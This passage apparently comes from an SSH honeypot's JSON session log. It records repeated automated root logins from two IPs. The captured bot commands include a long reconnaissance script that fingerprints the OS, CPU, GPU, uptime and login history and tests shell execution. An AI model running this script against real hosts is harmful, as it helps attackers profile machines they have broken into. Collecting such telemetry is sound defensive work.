2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:33:43.674170+00:00",
  "ended_at": "2026-08-25T02:33:44.222493+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b9ded582-b5ac-4db3-9ca1-5354f9918da5",
  "name": "oaken-glacial-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 33778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:32:52.170847+00:00",
  "ended_at": "2026-08-25T02:32:53.148338+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "27ba15cd-e4ae-42bf-9386-93b7f07c6e50",
  "name": "fringed-fleeting-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 60428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:32:01.319694+00:00",
  "ended_at": "2026-08-25T02:32:02.157409+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "81f9cda5-1a5f-41bc-98e7-4dce09cac107",
  "name": "sincere-wistful-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 58800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:31:14.160228+00:00",
  "ended_at": "2026-08-25T02:31:14.579316+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f6b556b6-e547-4d29-832e-10897c449c89",
  "name": "vigilant-quiet-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 162,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:31:06.791025+00:00",
  "ended_at": "2026-08-25T02:31:10.673509+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "19cea55f-694d-49e2-9ebd-fadd0f4c61f3",
  "name": "cheerful-tender-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:30:37.768512+00:00",
  "ended_at": "2026-08-25T02:30:43.148797+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e34fba6-31e4-4829-afe5-556c9d4397f4",
  "name": "calm-lucid-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 57188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:30:26.719204+00:00",
  "ended_at": "2026-08-25T02:30:27.701835+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4b274d4c-ad6b-4ad4-968f-f59820ea8796",
  "name": "northern-serene-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:30:20.702087+00:00",
  "ended_at": "2026-08-25T02:30:24.496316+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70f78842-fd96-4751-8c7e-505869e4c04c",
  "name": "solar-slender-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38222,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:29:55.208118+00:00",
  "ended_at": "2026-08-25T02:30:00.421530+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6835d768-9621-4124-a6e7-26718ac4a175",
  "name": "amber-hearty-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 55584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:29:39.714774+00:00",
  "ended_at": "2026-08-25T02:29:40.273591+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0e326662-f26f-45d3-8d1e-f035dc66e812",
  "name": "wandering-early-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:29:18.228064+00:00",
  "ended_at": "2026-08-25T02:29:23.502527+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03088ea4-e573-48c7-b671-480a0b454546",
  "name": "woven-gentle-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:29:00.603233+00:00",
  "ended_at": "2026-08-25T02:29:03.499264+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e27052e8-c517-48d5-a0fa-12edcbdcd0a3",
  "name": "meadow-silent-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 53952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo 